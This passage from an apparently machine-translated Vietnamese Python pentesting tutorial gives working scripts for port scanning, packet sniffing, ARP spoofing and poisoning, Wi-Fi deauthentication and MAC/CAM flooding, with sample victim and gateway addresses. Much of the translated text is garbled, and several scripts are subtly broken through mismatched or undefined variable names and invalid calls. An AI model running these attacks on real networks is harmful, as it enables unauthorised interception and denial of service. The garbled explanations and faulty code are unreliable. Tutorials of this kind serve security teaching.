for ip in range(st1,en1):
addr = net2 + str(ip)
if (scan(addr)):
print (addr , "is live")
run1()
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: " , total)
Kịch bản trên hoạt động trong ba phần. Nó chọn dải địa chỉ IP để quét quét ping bằng cách chia nó thành nhiều phần. Tiếp theo là sử dụng một chức năng để quét địa chỉ, chức năng này tiếp tục sử dụng ổ cắm. Sau đó, nó đưa ra phản hồi về máy chủ và thời gian cần thiết để hoàn tất quá trình quét. Kết quả = s. Câu lệnh connect_ex ((addr, 135)) trả về một chỉ báo lỗi. Chỉ báo lỗi là 0 nếu thao tác thành công, ngược lại, nó là giá trị của biến errno. Ở đây, chúng tôi đã sử dụng cổng 135; máy quét này hoạt động cho hệ thống Windows. Một cổng khác sẽ hoạt động ở đây là 445 (Microsoft-DSActive Directory) và thường mở.
Đầu ra
Tập lệnh trên tạo ra kết quả sau:
Enter the IP address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 10
127.0.0.1 is live
127.0.0.2 is live
127.0.0.3 is live
127.0.0.4 is live
127.0.0.5 is live
127.0.0.6 is live
127.0.0.7 is live
127.0.0.8 is live
127.0.0.9 is live
127.0.0.10 is live
Scanning completed in: 0:00:00.230025
Máy quét cổng ren để tăng hiệu quả
Như chúng ta đã thấy trong các trường hợp trên, quá trình quét cổng có thể rất chậm. Ví dụ: bạn có thể thấy thời gian thực hiện để quét các cổng từ 50 đến 500, trong khi sử dụng máy quét cổng socket là 452.3990001678467. Để cải thiện tốc độ, chúng ta có thể sử dụng phân luồng. Sau đây là một ví dụ về máy quét cổng sử dụng phân luồng:
import socket
import time
import threading
from queue import Queue
socket.setdefaulttimeout(0.25)
print_lock = threading.Lock()
target = input('Enter the host to be scanned: ')
t_IP = socket.gethostbyname(target)
print ('Starting scan on host: ', t_IP)
def portscan(port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
con = s.connect((t_IP, port))
with print_lock:
print(port, 'is open')
con.close()
except:
pass
def threader():
while True:
worker = q.get()
portscan(worker)
q.task_done()
q = Queue()
startTime = time.time()
for x in range(100):
t = threading.Thread(target = threader)
t.daemon = True
t.start()
for worker in range(1, 500):
q.put(worker)
q.join()
print('Time taken:', time.time() - startTime)
Trong tập lệnh trên, chúng ta cần nhập mô-đun luồng, mô-đun này được tạo sẵn trong gói Python. Chúng tôi đang sử dụng khái niệm khóa luồng,thread_lock = threading.Lock()để tránh sửa đổi nhiều lần cùng một lúc. Về cơ bản, threading.Lock () sẽ cho phép một luồng truy cập vào biến tại một thời điểm. Do đó, không có sửa đổi kép nào xảy ra.
Sau đó, chúng ta xác định một hàm threader () sẽ lấy công việc (cổng) từ vòng lặp worker for. Sau đó, phương thức portcan () được gọi để kết nối với cổng và in kết quả. Số cổng được chuyển dưới dạng tham số. Khi nhiệm vụ được hoàn thành, phương thức q.task_done () được gọi.
Bây giờ sau khi chạy đoạn mã trên, chúng ta có thể thấy sự khác biệt về tốc độ quét 50 đến 500 cổng. Nó chỉ mất 1.3589999675750732 giây, ít hơn 452.3990001678467, thời gian được thực hiện bởi máy quét cổng socket để quét cùng một số cổng của localhost.
Đầu ra
Tập lệnh trên tạo ra kết quả sau:
Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
135 is open
445 is open
Time taken: 1.3589999675750732
Đánh hơi hoặc đánh hơi gói mạng là quá trình theo dõi và nắm bắt tất cả các gói đi qua một mạng nhất định bằng cách sử dụng các công cụ đánh hơi. Đó là một hình thức trong đó, chúng ta có thể "chạm vào dây điện thoại" và làm quen với cuộc trò chuyện. Nó còn được gọi làwiretapping và có thể được áp dụng cho các mạng máy tính.
Có rất nhiều khả năng rằng nếu một tập hợp các cổng chuyển mạch doanh nghiệp đang mở, thì một trong các nhân viên của họ có thể đánh hơi toàn bộ lưu lượng của mạng. Bất kỳ ai ở cùng một vị trí thực tế đều có thể cắm vào mạng bằng cáp Ethernet hoặc kết nối không dây với mạng đó và đánh giá tổng lưu lượng.
Nói cách khác, Sniffing cho phép bạn xem tất cả các loại lưu lượng truy cập, cả được bảo vệ và không được bảo vệ. Trong các điều kiện thích hợp và với các giao thức phù hợp, một bên tấn công có thể thu thập thông tin có thể được sử dụng cho các cuộc tấn công tiếp theo hoặc gây ra các vấn đề khác cho mạng hoặc chủ sở hữu hệ thống.
Những gì có thể được đánh hơi?
Người ta có thể đánh hơi thông tin nhạy cảm sau đây từ một mạng:
- Lưu lượng email
- Mật khẩu FTP
- Lưu lượng truy cập web
- Mật khẩu Telnet
- Cấu hình bộ định tuyến
- Phiên trò chuyện
- Lưu lượng DNS
Đánh hơi hoạt động như thế nào?
Một trình đánh giá thường chuyển NIC của hệ thống sang chế độ quảng bá để nó lắng nghe tất cả dữ liệu được truyền trên phân đoạn của nó.
Chế độ quảng bá đề cập đến cách duy nhất của phần cứng Ethernet, cụ thể là các thẻ giao diện mạng (NIC), cho phép NIC nhận tất cả lưu lượng trên mạng, ngay cả khi nó không được định địa chỉ tới NIC này. Theo mặc định, NIC bỏ qua tất cả lưu lượng không được định địa chỉ đến nó, điều này được thực hiện bằng cách so sánh địa chỉ đích của gói Ethernet với địa chỉ phần cứng (MAC) của thiết bị. Mặc dù điều này có ý nghĩa hoàn hảo đối với mạng, nhưng chế độ không quảng cáo gây khó khăn cho việc sử dụng phần mềm phân tích và giám sát mạng để chẩn đoán các vấn đề kết nối hoặc tính toán lưu lượng.
Một trình thám thính có thể liên tục giám sát tất cả lưu lượng truy cập vào máy tính thông qua NIC bằng cách giải mã thông tin được gói gọn trong các gói dữ liệu.
Các kiểu đánh hơi
Đánh hơi có thể là Chủ động hoặc Bị động. Bây giờ chúng ta sẽ tìm hiểu về các kiểu đánh hơi khác nhau.
Đánh hơi thụ động
Trong đánh hơi thụ động, lưu lượng bị khóa nhưng nó không bị thay đổi theo bất kỳ cách nào. Đánh hơi thụ động chỉ cho phép nghe. Nó hoạt động với các thiết bị Hub. Trên thiết bị trung tâm, lưu lượng được gửi đến tất cả các cổng. Trong một mạng sử dụng các trung tâm để kết nối các hệ thống, tất cả các máy chủ trên mạng đều có thể nhìn thấy lưu lượng. Do đó, kẻ tấn công có thể dễ dàng nắm bắt được lưu lượng đi qua.
Tin tốt là các trung tâm gần như đã trở nên lỗi thời trong thời gian gần đây. Hầu hết các mạng hiện đại đều sử dụng thiết bị chuyển mạch. Do đó, đánh hơi thụ động không còn hiệu quả.
Đánh hơi tích cực
Trong hoạt động đánh hơi tích cực, lưu lượng truy cập không chỉ bị khóa và theo dõi mà còn có thể bị thay đổi theo một cách nào đó khi được xác định bởi cuộc tấn công. Đánh hơi tích cực được sử dụng để đánh hơi một mạng dựa trên chuyển mạch. Nó liên quan đến việc đưa các gói phân giải địa chỉ (ARP) vào một mạng đích để làm tràn ngập trên bảng bộ nhớ định địa chỉ nội dung switch (CAM). CAM theo dõi máy chủ nào được kết nối với cổng nào.
Sau đây là các kỹ thuật đánh hơi chủ động -
- MAC Flooding
- Tấn công DHCP
- Ngộ độc DNS
- Tấn công giả mạo
- Ngộ độc ARP
Hiệu ứng đánh hơi trên giao thức
Các giao thức như tried and true TCP/IPkhông bao giờ được thiết kế với tính bảo mật. Các giao thức như vậy không cung cấp nhiều khả năng chống lại những kẻ xâm nhập tiềm năng. Sau đây là các giao thức khác nhau giúp dễ dàng đánh giá -
HTTP
Nó được sử dụng để gửi thông tin dưới dạng văn bản rõ ràng mà không có bất kỳ mã hóa nào và do đó trở thành mục tiêu thực.
SMTP (Giao thức truyền thư đơn giản)
SMTP được sử dụng để chuyển email. Giao thức này hiệu quả, nhưng nó không bao gồm bất kỳ biện pháp bảo vệ nào chống lại việc đánh hơi.
NNTP (Giao thức truyền tin tức mạng)
Nó được sử dụng cho tất cả các loại giao tiếp. Một nhược điểm lớn của điều này là dữ liệu và thậm chí cả mật khẩu được gửi qua mạng dưới dạng văn bản rõ ràng.
POP (Giao thức Bưu điện)
POP được sử dụng nghiêm ngặt để nhận email từ máy chủ. Giao thức này không bao gồm bảo vệ chống đánh hơi vì nó có thể bị bẫy.
FTP (Giao thức truyền tệp)
FTP được sử dụng để gửi và nhận tệp, nhưng nó không cung cấp bất kỳ tính năng bảo mật nào. Tất cả dữ liệu được gửi dưới dạng văn bản rõ ràng có thể dễ dàng nhận ra.
IMAP (Giao thức truy cập tin nhắn Internet)
IMAP giống như SMTP trong các chức năng của nó, nhưng nó rất dễ bị đánh cắp.
Telnet
Telnet gửi mọi thứ (tên người dùng, mật khẩu, tổ hợp phím) qua mạng dưới dạng văn bản rõ ràng và do đó, nó có thể dễ dàng bị phát hiện.
Sniffers không phải là tiện ích ngu ngốc cho phép bạn chỉ xem giao thông trực tiếp. Nếu bạn thực sự muốn phân tích từng gói, hãy lưu bản chụp và xem lại bất cứ khi nào thời gian cho phép.
Triển khai bằng Python
Trước khi triển khai trình kiểm tra ổ cắm thô, hãy để chúng tôi hiểu struct như mô tả bên dưới -
struct.pack (fmt, a1, a2,…)
Như tên cho thấy, phương thức này được sử dụng để trả về chuỗi được đóng gói theo định dạng đã cho. Chuỗi chứa các giá trị a1, a2, v.v.
struct.unpack (fmt, string)
Như tên cho thấy, phương pháp này giải nén chuỗi theo một định dạng nhất định.
Trong ví dụ sau về tiêu đề IP của trình thám thính thô socket, là 20 byte tiếp theo trong gói và trong số 20 byte này, chúng ta quan tâm đến 8 byte cuối cùng. Các byte sau hiển thị nếu địa chỉ IP nguồn và đích đang phân tích cú pháp -
Bây giờ, chúng ta cần nhập một số mô-đun cơ bản như sau:
import socket
import struct
import binascii
Bây giờ, chúng ta sẽ tạo một socket, có ba tham số. Tham số đầu tiên cho chúng ta biết về giao diện gói - PF_PACKET cho Linux cụ thể và AF_INET cho windows; tham số thứ hai cho chúng ta biết rằng đó là một ổ cắm thô và tham số thứ ba cho chúng ta biết về giao thức mà chúng ta quan tâm —0x0800 được sử dụng cho giao thức IP.
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
Bây giờ, chúng ta cần gọi recvfrom() phương thức nhận gói tin.
while True:
packet = s.recvfrom(2048)
Trong dòng mã sau, chúng tôi đang trích xuất tiêu đề Ethernet:
ethernet_header = packet[0][0:14]
Với dòng mã sau, chúng tôi đang phân tích cú pháp và giải nén tiêu đề với struct phương pháp -
eth_header = struct.unpack("!6s6s2s", ethernet_header)
Dòng mã sau sẽ trả về một bộ giá trị có ba giá trị hex, được chuyển đổi bởi hexify bên trong binascii mô-đun -
print "Destination MAC:" + binascii.hexlify(eth_header[0]) + " Source MAC:" + binascii.hexlify(eth_header[1]) + " Type:" + binascii.hexlify(eth_header[2])
Bây giờ chúng ta có thể lấy tiêu đề IP bằng cách thực thi dòng mã sau:
ipheader = pkt[0][14:34]
ip_header = struct.unpack("!12s4s4s", ipheader)
print "Source IP:" + socket.inet_ntoa(ip_header[1]) + " Destination IP:" + socket.inet_ntoa(ip_header[2])
Tương tự, chúng ta cũng có thể phân tích cú pháp tiêu đề TCP.
ARP có thể được định nghĩa là một giao thức không trạng thái được sử dụng để ánh xạ địa chỉ Giao thức Internet (IP) với địa chỉ máy vật lý.
Hoạt động của ARP
Trong phần này, chúng ta sẽ tìm hiểu về hoạt động của ARP. Hãy xem xét các bước sau để hiểu cách ARP hoạt động -
Step 1 - Đầu tiên, khi một máy muốn giao tiếp với máy khác, nó phải tìm kiếm địa chỉ vật lý trong bảng ARP của nó.
Step 2 - Nếu nó tìm thấy địa chỉ vật lý của máy, gói tin sau khi chuyển đổi theo đúng độ dài của nó, sẽ được gửi đến máy mong muốn
Step 3 - Nhưng nếu không tìm thấy mục nhập nào cho địa chỉ IP trong bảng, ARP_request sẽ được phát qua mạng.
Step 4- Bây giờ, tất cả các máy trong mạng sẽ so sánh địa chỉ IP được quảng bá với địa chỉ MAC và nếu bất kỳ máy nào trong mạng xác định được địa chỉ đó, nó sẽ phản hồi ARP_request cùng với IP và địa chỉ MAC của nó. Thông báo ARP như vậy được gọi là ARP_reply.
Step 5 - Cuối cùng, máy gửi yêu cầu sẽ lưu trữ cặp địa chỉ trong bảng ARP của nó và toàn bộ giao tiếp sẽ diễn ra.
ARP Spoofing là gì?
Nó có thể được định nghĩa là một kiểu tấn công mà một tác nhân độc hại đang gửi một yêu cầu ARP giả mạo qua mạng cục bộ. ARP Poisoning còn được gọi là ARP Spoofing. Nó có thể được hiểu với sự trợ giúp của các điểm sau:
Giả mạo ARP đầu tiên, để làm quá tải công tắc, sẽ tạo ra một số lượng lớn các gói trả lời và yêu cầu ARP giả mạo.
Sau đó, công tắc sẽ được đặt ở chế độ chuyển tiếp.
Bây giờ, bảng ARP sẽ tràn ngập các phản hồi ARP giả mạo, để những kẻ tấn công có thể đánh hơi tất cả các gói mạng.
Triển khai bằng Python
Trong phần này, chúng ta sẽ hiểu cách triển khai giả mạo ARP trong Python. Đối với điều này, chúng tôi cần ba địa chỉ MAC - đầu tiên của nạn nhân, thứ hai của kẻ tấn công và thứ ba của cổng. Cùng với đó, chúng ta cũng cần sử dụng mã của giao thức ARP.
Hãy để chúng tôi nhập các mô-đun được yêu cầu như sau:
import socket
import struct
import binascii
Bây giờ, chúng ta sẽ tạo một socket, có ba tham số. Tham số đầu tiên cho chúng ta biết về giao diện gói (PF_PACKET dành riêng cho Linux và AF_INET dành cho windows), tham số thứ hai cho chúng ta biết liệu đó có phải là ổ cắm thô hay không và tham số thứ ba cho chúng ta biết về giao thức mà chúng ta quan tâm (ở đây 0x0800 được sử dụng cho IP giao thức).
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))
Bây giờ chúng tôi sẽ cung cấp địa chỉ mac của kẻ tấn công, nạn nhân và máy cổng -
attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'
Chúng ta cần cung cấp mã của giao thức ARP như hình:
code ='\x08\x06'
Hai gói Ethernet, một cho máy nạn nhân và một cho máy cổng vào đã được tạo ra như sau:
ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac + attckmac + code
Các dòng mã sau theo thứ tự phù hợp với tiêu đề ARP -
htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'
Bây giờ chúng ta cần cung cấp địa chỉ IP của máy cổng và máy nạn nhân (Giả sử chúng ta có các địa chỉ IP sau cho máy cổng và máy nạn nhân) -
gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'
Chuyển đổi các địa chỉ IP ở trên sang định dạng thập lục phân với sự trợ giúp của socket.inet_aton() phương pháp.
gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )
Thực hiện dòng mã sau để thay đổi địa chỉ IP của máy cổng.
victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip
while 1:
s.send(victim_ARP)
s.send(gateway_ARP)
Triển khai sử dụng Scapy trên Kali Linux
Giả mạo ARP có thể được thực hiện bằng cách sử dụng Scapy trên Kali Linux. Làm theo các bước sau để thực hiện tương tự -
Bước 1: Địa chỉ của máy tấn công
Trong bước này, chúng ta sẽ tìm địa chỉ IP của máy tấn công bằng cách chạy lệnh ifconfig trên dấu nhắc lệnh của Kali Linux.
Bước 2: Địa chỉ của máy đích
Trong bước này, chúng tôi sẽ tìm địa chỉ IP của máy đích bằng cách chạy lệnh ifconfig trên dấu nhắc lệnh của Kali Linux, mà chúng ta cần mở trên một máy ảo khác.
Bước 3: Ping máy mục tiêu
Trong bước này, chúng ta cần ping máy mục tiêu từ máy kẻ tấn công với sự trợ giúp của lệnh sau:
Ping –c 192.168.43.85(say IP address of target machine)
Bước 4: Bộ nhớ cache ARP trên máy mục tiêu
Chúng ta đã biết rằng hai máy sử dụng gói ARP để trao đổi địa chỉ MAC, do đó sau bước 3, chúng ta có thể chạy lệnh sau trên máy đích để xem bộ nhớ cache ARP -
arp -n
Bước 5: Tạo gói ARP bằng Scapy
Chúng ta có thể tạo các gói ARP với sự trợ giúp của Scapy như sau:
scapy
arp_packt = ARP()
arp_packt.display()
Bước 6: Gửi gói ARP độc hại bằng Scapy
Chúng tôi có thể gửi các gói ARP độc hại với sự trợ giúp của Scapy như sau:
arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)
Step 7: Again check ARP cache on target machine
Bây giờ nếu chúng ta kiểm tra lại bộ nhớ cache ARP trên máy mục tiêu thì chúng ta sẽ thấy địa chỉ giả '1.1.1.1'.
Hệ thống không dây đi kèm với rất nhiều tính linh hoạt nhưng mặt khác, nó cũng dẫn đến các vấn đề bảo mật nghiêm trọng. Và, làm thế nào để điều này trở thành một vấn đề bảo mật nghiêm trọng - bởi vì những kẻ tấn công, trong trường hợp kết nối không dây, chỉ cần có sẵn tín hiệu để tấn công chứ không cần có quyền truy cập vật lý như trong trường hợp mạng có dây. Kiểm tra khả năng thâm nhập của hệ thống không dây là một nhiệm vụ dễ dàng hơn so với việc thực hiện trên mạng có dây. Chúng tôi thực sự không thể áp dụng các biện pháp bảo mật vật lý tốt đối với phương tiện không dây, nếu chúng tôi ở đủ gần, chúng tôi sẽ có thể "nghe thấy" (hoặc ít nhất là bộ điều hợp không dây của bạn có thể nghe thấy) mọi thứ đang truyền qua không khí.
Điều kiện tiên quyết
Trước khi chúng ta bắt đầu tìm hiểu thêm về việc dồn nén mạng không dây, chúng ta hãy xem xét thảo luận về các thuật ngữ và quá trình giao tiếp giữa máy khách và hệ thống không dây.
Thuật ngữ quan trọng
Bây giờ chúng ta hãy tìm hiểu các thuật ngữ quan trọng liên quan đến việc dồn nén mạng không dây.
Điểm truy cập (AP)
Điểm truy cập (AP) là nút trung tâm trong triển khai không dây 802.11. Điểm này được sử dụng để kết nối người dùng với những người dùng khác trong mạng và cũng có thể là điểm kết nối giữa mạng LAN không dây (WLAN) và mạng dây cố định. Trong mạng WLAN, AP là một trạm truyền và nhận dữ liệu.
Mã định danh nhóm dịch vụ (SSID)
Nó là chuỗi văn bản dài 0-32 byte con người có thể đọc được, về cơ bản là tên được gán cho mạng không dây. Tất cả các thiết bị trong mạng phải sử dụng tên phân biệt chữ hoa chữ thường này để giao tiếp qua mạng không dây (Wi-Fi).
Nhận dạng nhóm dịch vụ cơ bản (BSSID)
Đây là địa chỉ MAC của chipset Wi-Fi chạy trên điểm truy cập không dây (AP). Nó được tạo ra một cách ngẫu nhiên.
Số kênh
Nó đại diện cho dải tần số vô tuyến được Access Point (AP) sử dụng để truyền.
Giao tiếp giữa máy khách và hệ thống không dây
Một điều quan trọng khác mà chúng ta cần hiểu là quá trình giao tiếp giữa máy khách và hệ thống không dây. Với sự trợ giúp của sơ đồ sau, chúng ta có thể hiểu như vậy -
Khung Beacon
Trong quá trình giao tiếp giữa máy khách và điểm truy cập, AP định kỳ gửi một khung báo hiệu để hiển thị sự hiện diện của nó. Khung này đi kèm với thông tin liên quan đến SSID, BSSID và số kênh.
Yêu cầu thăm dò
Bây giờ, thiết bị khách sẽ gửi yêu cầu thăm dò để kiểm tra các AP trong phạm vi. Sau khi gửi yêu cầu thăm dò, nó sẽ đợi phản hồi thăm dò từ AP. Yêu cầu thăm dò chứa các thông tin như SSID của AP, thông tin cụ thể của nhà cung cấp, v.v.
Phản hồi thăm dò
Bây giờ, sau khi nhận được yêu cầu thăm dò, AP sẽ gửi một phản hồi thăm dò, trong đó có thông tin như tốc độ dữ liệu được hỗ trợ, khả năng, v.v.
Yêu cầu xác thực
Bây giờ, thiết bị khách sẽ gửi một khung yêu cầu xác thực chứa danh tính của nó.
Phản hồi xác thực
Bây giờ để phản hồi, AP sẽ gửi một khung phản hồi xác thực cho biết chấp nhận hoặc từ chối.
Yêu cầu của Hiệp hội
Khi xác thực thành công, thiết bị khách đã gửi một khung yêu cầu liên kết chứa tốc độ dữ liệu được hỗ trợ và SSID của AP.
Hiệp hội phản hồi
Bây giờ để phản hồi, AP sẽ gửi một khung phản hồi liên kết cho biết chấp nhận hoặc từ chối. ID liên kết của thiết bị khách sẽ được tạo trong trường hợp chấp nhận.
Tìm mã nhận dạng nhóm dịch vụ không dây (SSID) bằng Python
Chúng ta có thể thu thập thông tin về SSID với sự trợ giúp của phương pháp cổng thô cũng như bằng cách sử dụng thư viện Scapy.
Phương pháp ổ cắm thô
Chúng tôi đã học được rằng mon0bắt các gói không dây; vì vậy, chúng ta cần đặt chế độ màn hình thànhmon0. Trong Kali Linux, nó có thể được thực hiện với sự trợ giúp củaairmon-ngkịch bản. Sau khi chạy tập lệnh này, nó sẽ đặt tên cho thẻ không dâywlan1. Bây giờ với sự trợ giúp của lệnh sau, chúng ta cần bật chế độ giám sát trênmon0 -
airmon-ng start wlan1
Sau đây là phương thức socket thô, tập lệnh Python, sẽ cung cấp cho chúng ta SSID của AP -
Trước hết, chúng ta cần nhập các mô-đun ổ cắm như sau:
import socket
Bây giờ, chúng ta sẽ tạo một socket có ba tham số. Tham số đầu tiên cho chúng ta biết về giao diện gói (PF_PACKET cho Linux cụ thể và AF_INET cho windows), tham số thứ hai cho chúng ta biết nó có phải là một ổ cắm thô hay không và tham số thứ ba cho chúng ta biết rằng chúng ta quan tâm đến tất cả các gói.
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))
Bây giờ, dòng tiếp theo sẽ ràng buộc mon0 chế độ và 0x0003.
s.bind(("mon0", 0x0003))
Bây giờ, chúng ta cần khai báo một danh sách trống, danh sách này sẽ lưu trữ SSID của các AP.
ap_list = []
Bây giờ, chúng ta cần gọi recvfrom()phương thức nhận gói tin. Để tiếp tục đánh hơi, chúng ta sẽ sử dụng vòng lặp while vô hạn.
while True:
packet = s.recvfrom(2048)
Dòng mã tiếp theo cho biết nếu khung 8 bit cho biết khung báo hiệu.
if packet[26] == "\x80" :
if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
ap_list.add(packetkt[36:42])
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))
Trình dò tìm SSID với Scapy
Scapy là một trong những thư viện tốt nhất có thể cho phép chúng ta dễ dàng dò tìm các gói Wi-Fi. Bạn có thể tìm hiểu chi tiết về Scapy tạihttps://scapy.readthedocs.io/en/latest/. Để bắt đầu, hãy chạy Sacpy ở chế độ tương tác và sử dụng lệnh conf để nhận giá trị của iface. Giao diện mặc định là eth0. Bây giờ khi chúng ta có mái vòm ở trên, chúng ta cần thay đổi chế độ này thành mon0. Nó có thể được thực hiện như sau:
>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3
Bây giờ chúng ta hãy nhập Scapy làm thư viện. Hơn nữa, việc thực thi tập lệnh Python sau sẽ cung cấp cho chúng ta SSID -
from scapy.all import *
Bây giờ, chúng ta cần khai báo một danh sách trống sẽ lưu trữ SSID của các AP.
ap_list = []
Bây giờ chúng ta sẽ định nghĩa một hàm có tên Packet_info(), sẽ có logic phân tích gói hoàn chỉnh. Nó sẽ có đối số pkt.
def Packet_info(pkt) :
Trong câu lệnh tiếp theo, chúng tôi sẽ áp dụng một bộ lọc sẽ chỉ vượt qua Dot11lưu lượng có nghĩa là lưu lượng 802.11. Dòng theo sau cũng là một bộ lọc, vượt qua lưu lượng có loại khung là 0 (đại diện cho khung quản lý) và loại phụ của khung là 8 (đại diện cho khung báo hiệu).
if pkt.haslayer(Dot11) :
if ((pkt.type == 0) & (pkt.subtype == 8)) :
if pkt.addr2 not in ap_list :
ap_list.append(pkt.addr2)
print("SSID:", (pkt.addr2, pkt.info))
Bây giờ, chức năng đánh hơi sẽ kiểm tra dữ liệu với iface giá trị mon0 (đối với gói không dây) và gọi Packet_info chức năng.
sniff(iface = "mon0", prn = Packet_info)
Để triển khai các tập lệnh Python ở trên, chúng ta cần thẻ Wi-Fi có khả năng đánh hơi không khí bằng chế độ giám sát.
Phát hiện khách hàng điểm truy cập
Để phát hiện khách hàng của các điểm truy cập, chúng ta cần nắm bắt khung yêu cầu thăm dò. Chúng tôi có thể làm điều đó giống như chúng tôi đã làm trong tập lệnh Python cho trình đánh giá SSID bằng cách sử dụng Scapy. Chúng ta cần phải choDot11ProbeReqđể chụp khung yêu cầu thăm dò. Sau đây là tập lệnh Python để phát hiện khách hàng của các điểm truy cập:
from scapy.all import *
probe_list = []
ap_name= input(“Enter the name of access point”)
def Probe_info(pkt) :
if pkt.haslayer(Dot11ProbeReq) :
client_name = pkt.info
if client_name == ap_name :
if pkt.addr2 not in Probe_info:
Print(“New Probe request--”, client_name)
Print(“MAC is --”, pkt.addr2)
Probe_list.append(pkt.addr2)
sniff(iface = "mon0", prn = Probe_info)
Tấn công không dây
Từ quan điểm của một pentester, điều rất quan trọng là phải hiểu một cuộc tấn công không dây diễn ra như thế nào. Trong phần này, chúng ta sẽ thảo luận về hai loại tấn công không dây -
Các cuộc tấn công hủy xác thực (deauth)
Cuộc tấn công ngập lụt MAC
Các cuộc tấn công hủy xác thực (deauth)
Trong quá trình giao tiếp giữa thiết bị khách và điểm truy cập bất cứ khi nào khách hàng muốn ngắt kết nối, nó cần gửi khung hủy xác thực. Đáp lại khung đó từ máy khách, AP cũng sẽ gửi một khung khử xác thực. Kẻ tấn công có thể có được lợi thế từ quy trình bình thường này bằng cách giả mạo địa chỉ MAC của nạn nhân và gửi khung xác thực tới AP. Do đó, kết nối giữa máy khách và AP bị ngắt. Sau đây là tập lệnh Python để thực hiện cuộc tấn công khử xác thực:
Đầu tiên chúng ta hãy nhập Scapy làm thư viện -
from scapy.all import *
import sys
Hai câu lệnh sau sẽ nhập địa chỉ MAC của AP và nạn nhân tương ứng.
BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")
Bây giờ, chúng ta cần tạo khung khử xác thực. Nó có thể được tạo bằng cách thực hiện câu lệnh sau.
frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()
Dòng mã tiếp theo đại diện cho tổng số gói được gửi đi; ở đây nó là 500 và khoảng thời gian giữa hai gói.
sendp(frame, iface = "mon0", count = 500, inter = .1)
Đầu ra
Khi thực hiện, lệnh trên tạo ra kết quả sau:
Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)
Tiếp theo là việc tạo khung deauth, khung này được gửi đến điểm truy cập thay mặt cho khách hàng. Điều này sẽ làm cho kết nối giữa chúng bị hủy bỏ.
Câu hỏi ở đây là làm cách nào để chúng tôi phát hiện cuộc tấn công deauth với tập lệnh Python. Việc thực thi tập lệnh Python sau sẽ giúp phát hiện các cuộc tấn công như vậy:
from scapy.all import *
i = 1
def deauth_frame(pkt):
if pkt.haslayer(Dot11):
if ((pkt.type == 0) & (pkt.subtype == 12)):
global i
print ("Deauth frame detected: ", i)
i = i + 1
sniff(iface = "mon0", prn = deauth_frame)
Trong đoạn mã trên, câu lệnh pkt.subtype == 12 chỉ ra khung deauth và biến I được định nghĩa toàn cục cho biết về số lượng gói.
Đầu ra
Việc thực thi tập lệnh trên tạo ra kết quả sau:
Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6
Các cuộc tấn công tràn ngập địa chỉ MAC
Tấn công làm ngập địa chỉ MAC (tấn công làm ngập bảng CAM) là một kiểu tấn công mạng trong đó kẻ tấn công kết nối với cổng chuyển mạch làm ngập giao diện chuyển mạch với số lượng rất lớn khung Ethernet với các địa chỉ MAC nguồn giả khác nhau. Tràn bảng CAM xảy ra khi dòng địa chỉ MAC tràn vào bảng và đạt đến ngưỡng bảng CAM. Điều này khiến bộ chuyển mạch hoạt động giống như một trung tâm, làm ngập mạng với lưu lượng truy cập ở tất cả các cổng. Các cuộc tấn công như vậy rất dễ phát động. Tập lệnh Python sau giúp khởi chạy cuộc tấn công tràn ngập CAM như vậy:
from scapy.all import *
def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list
def cam_overflow(packet_list):
sendp(packet_list, iface='wlan')
if __name__ == '__main__':
packet_list = generate_packets()
cam_overflow(packet_list)
Mục đích chính của kiểu tấn công này là kiểm tra tính bảo mật của công tắc. Chúng ta cần sử dụng bảo mật cổng nếu muốn giảm bớt ảnh hưởng của cuộc tấn công tràn ngập MAC.
Các ứng dụng web và máy chủ web rất quan trọng đối với sự hiện diện trực tuyến của chúng tôi và các cuộc tấn công được quan sát thấy nhằm vào chúng chiếm hơn 70% tổng số các cuộc tấn công được thực hiện trên Internet. Các cuộc tấn công này cố gắng chuyển đổi các trang web đáng tin cậy thành các trang web độc hại. Do lý do này, máy chủ web và bút thử nghiệm ứng dụng web đóng một vai trò quan trọng.
In chân máy chủ web
